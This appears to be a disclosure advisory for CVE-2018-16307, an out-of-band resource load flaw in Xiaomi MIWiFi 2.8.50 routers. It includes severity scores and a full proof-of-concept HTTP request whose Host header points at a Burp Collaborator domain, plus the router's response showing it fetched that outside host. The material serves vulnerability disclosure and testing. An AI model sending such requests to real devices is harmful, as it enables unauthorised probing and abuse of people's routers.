MIWiFi Xiaomi_55DD 2.8.50 Out-Of-Band Resource Load

Credit: Mishra Dhiraj
Risk: High
Local: Yes
Remote: No
CWE: CWE-200

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

CVE: CVE-2018-16307 Issue: Out-of-band resource load Product affected: MIWiFi Xiaomi_55DD Version 2.8.50 Summary: An "Out-of-band resource load" issue was discovered on Xiaomi MIWiFi Xiaomi_55DD Version 2.8.50 devices. It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response. If a domain name (containing a random string) is used in the HTTP Host header, the application performs an HTTP request to the specified domain. The response from that request is then included in the application's own response. ## Request POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1 Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 126 Cookie: __guid=86847064.3826147368769525000.1535781606575.13; monitor_count=9; psp=admin|||2|||0 Connection: close username=admin&password=b2e8d6e552db587f3c283ce59c4d08fcbaf2cc9e&logtype=2&nonce=0_4c%3Abb%3A58%3A47%3A39%3A84_1535785091_2732 ## Response HTTP/1.1 200 OK Content-Type: text/html Content-Length: 62 Connection: close Server: Burp Collaborator https://burpcollaborator.net/ X-Collaborator-Version: 4 Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache MiCGI-Switch: 1 0 MiCGI-TproxyInfo: MiCGI-Upstream: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net MiCGI-Client-Ip: MiCGI-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net MiCGI-Http-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net MiCGI-Server-Ip: MiCGI-Server-Port: 80 MiCGI-Status: AUTOPROXY MiCGI-Preload: no <html><body>x4e809xt6zpgky5b16f6dezjlglgkugifigz</body></html>

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